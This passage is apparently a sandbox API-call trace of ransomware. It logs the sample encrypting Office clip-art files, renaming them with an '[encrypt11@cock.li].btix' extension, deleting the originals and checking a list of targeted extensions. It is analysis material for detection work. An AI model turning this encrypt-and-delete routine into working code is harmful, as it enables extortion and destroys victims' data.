dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.201] GetLastError () returned 0x0 [0159.201] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4b40, lpOverlapped=0x0) returned 1 [0159.483] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4b50, lpOverlapped=0x0) returned 1 [0159.483] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.484] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.484] SetEndOfFile (hFile=0x3a0) returned 1 [0159.484] CloseHandle (hObject=0x3a0) returned 1 [0159.484] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.484] SetEndOfFile (hFile=0x380) returned 1 [0159.485] CloseHandle (hObject=0x380) returned 1 [0159.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf")) returned 1 [0159.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0159.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0159.486] lstrlenW (lpString=".doc") returned 4 [0159.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.486] lstrlenW (lpString=".docx") returned 5 [0159.486] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0159.486] lstrlenW (lpString=".pdf") returned 4 [0159.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.486] lstrlenW (lpString=".xls") returned 4 [0159.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.486] lstrlenW (lpString=".xlsx") returned 5 [0159.486] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0159.486] lstrlenW (lpString=".ppt") returned 4 [0159.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0159.486] lstrlenW (lpString=".zip") returned 4 [0159.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.486] lstrlenW (lpString=".rar") returned 4 [0159.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.486] lstrlenW (lpString=".bz2") returned 4 [0159.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.486] lstrlenW (lpString=".7z") returned 3 [0159.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0159.486] lstrlenW (lpString=".dbf") returned 4 [0159.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0159.487] lstrlenW (lpString=".1cd") returned 4 [0159.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0159.487] lstrlenW (lpString=".jpg") returned 4 [0159.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.487] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.488] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.488] GetLastError () returned 0x0 [0159.488] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1314, lpOverlapped=0x0) returned 1 [0159.498] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1320, lpOverlapped=0x0) returned 1 [0159.499] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.499] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.499] SetEndOfFile (hFile=0x3a0) returned 1 [0159.499] CloseHandle (hObject=0x3a0) returned 1 [0159.499] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.499] SetEndOfFile (hFile=0x380) returned 1 [0159.500] CloseHandle (hObject=0x380) returned 1 [0159.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf")) returned 1 [0159.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0159.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0159.501] lstrlenW (lpString=".doc") returned 4 [0159.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.501] lstrlenW (lpString=".docx") returned 5 [0159.501] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.501] lstrlenW (lpString=".pdf") returned 4 [0159.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.501] lstrlenW (lpString=".xls") returned 4 [0159.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.501] lstrlenW (lpString=".xlsx") returned 5 [0159.501] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.501] lstrlenW (lpString=".ppt") returned 4 [0159.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0159.501] lstrlenW (lpString=".zip") returned 4 [0159.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.501] lstrlenW (lpString=".rar") returned 4 [0159.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.501] lstrlenW (lpString=".bz2") returned 4 [0159.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.501] lstrlenW (lpString=".7z") returned 3 [0159.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0159.502] lstrlenW (lpString=".dbf") returned 4 [0159.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0159.502] lstrlenW (lpString=".1cd") returned 4 [0159.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0159.502] lstrlenW (lpString=".jpg") returned 4 [0159.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.502] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.502] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.503] GetLastError () returned 0x0 [0159.503] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1418, lpOverlapped=0x0) returned 1 [0159.553] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1420, lpOverlapped=0x0) returned 1 [0159.554] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.554] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.554] SetEndOfFile (hFile=0x3a0) returned 1 [0159.554] CloseHandle (hObject=0x3a0) returned 1 [0159.554] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.554] SetEndOfFile (hFile=0x380) returned 1 [0159.555] CloseHandle (hObject=0x380) returned 1 [0159.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf")) returned 1 [0159.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0159.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0159.556] lstrlenW (lpString=".doc") returned 4 [0159.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.556] lstrlenW (lpString=".docx") returned 5 [0159.556] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0159.556] lstrlenW (lpString=".pdf") returned 4 [0159.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.556] lstrlenW (lpString=".xls") returned 4 [0159.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.557] lstrlenW (lpString=".xlsx") returned 5 [0159.557] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0159.557] lstrlenW (lpString=".ppt") returned 4 [0159.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0159.557] lstrlenW (lpString=".zip") returned 4 [0159.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.557] lstrlenW (lpString=".rar") returned 4 [0159.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.557] lstrlenW (lpString=".bz2") returned 4 [0159.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.557] lstrlenW (lpString=".7z") returned 3 [0159.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0159.557] lstrlenW (lpString=".dbf") returned 4 [0159.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0159.557] lstrlenW (lpString=".1cd") returned 4 [0159.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0159.557] lstrlenW (lpString=".jpg") returned 4 [0159.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.562] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.562] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239951.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.563] GetLastError () returned 0x0 [0159.563] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1c40, lpOverlapped=0x0) returned 1 [0159.629] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1c50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1c50, lpOverlapped=0x0) returned 1 [0159.630] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.630] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.630] SetEndOfFile (hFile=0x378) returned 1 [0159.631] CloseHandle (hObject=0x378) returned 1 [0159.631] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.631] SetEndOfFile (hFile=0x39c) returned 1 [0159.634] CloseHandle (hObject=0x39c) returned 1 [0159.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239951.wmf")) returned 1 [0159.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF") returned 68 [0159.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF") returned 68 [0159.634] lstrlenW (lpString=".doc") returned 4 [0159.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.634] lstrlenW (lpString=".docx") returned 5 [0159.634] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0159.634] lstrlenW (lpString=".pdf") returned 4 [0159.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.635] lstrlenW (lpString=".xls") returned 4 [0159.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.635] lstrlenW (lpString=".xlsx") returned 5 [0159.635] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0159.635] lstrlenW (lpString=".ppt") returned 4 [0159.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF") returned 68 [0159.635] lstrlenW (lpString=".zip") returned 4 [0159.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.635] lstrlenW (lpString=".rar") returned 4 [0159.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.635] lstrlenW (lpString=".bz2") returned 4 [0159.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.635] lstrlenW (lpString=".7z") returned 3 [0159.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF") returned 68 [0159.635] lstrlenW (lpString=".dbf") returned 4 [0159.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF") returned 68 [0159.635] lstrlenW (lpString=".1cd") returned 4 [0159.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF") returned 68 [0159.635] lstrlenW (lpString=".jpg") returned 4 [0159.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.635] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.635] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.636] GetLastError () returned 0x0 [0159.636] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1720, lpOverlapped=0x0) returned 1 [0159.660] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1730, lpOverlapped=0x0) returned 1 [0159.661] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.661] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.661] SetEndOfFile (hFile=0x378) returned 1 [0159.664] CloseHandle (hObject=0x378) returned 1 [0159.664] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.665] SetEndOfFile (hFile=0x39c) returned 1 [0159.667] CloseHandle (hObject=0x39c) returned 1 [0159.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf")) returned 1 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0159.668] lstrlenW (lpString=".doc") returned 4 [0159.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString=".docx") returned 5 [0159.668] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.668] lstrlenW (lpString=".pdf") returned 4 [0159.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString=".xls") returned 4 [0159.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.669] lstrlenW (lpString=".xlsx") returned 5 [0159.669] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.669] lstrlenW (lpString=".ppt") returned 4 [0159.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0159.669] lstrlenW (lpString=".zip") returned 4 [0159.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.669] lstrlenW (lpString=".rar") returned 4 [0159.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString=".bz2") returned 4 [0159.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString=".7z") returned 3 [0159.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0159.669] lstrlenW (lpString=".dbf") returned 4 [0159.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0159.669] lstrlenW (lpString=".1cd") returned 4 [0159.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0159.669] lstrlenW (lpString=".jpg") returned 4 [0159.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.671] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.671] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240157.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0159.698] GetLastError () returned 0x0 [0159.698] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1df8, lpOverlapped=0x0) returned 1 [0159.938] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0159.938] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.938] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.939] SetEndOfFile (hFile=0x358) returned 1 [0160.127] CloseHandle (hObject=0x358) returned 1 [0160.127] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.127] SetEndOfFile (hFile=0x3a4) returned 1 [0160.128] CloseHandle (hObject=0x3a4) returned 1 [0160.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240157.wmf")) returned 1 [0160.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF") returned 68 [0160.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF") returned 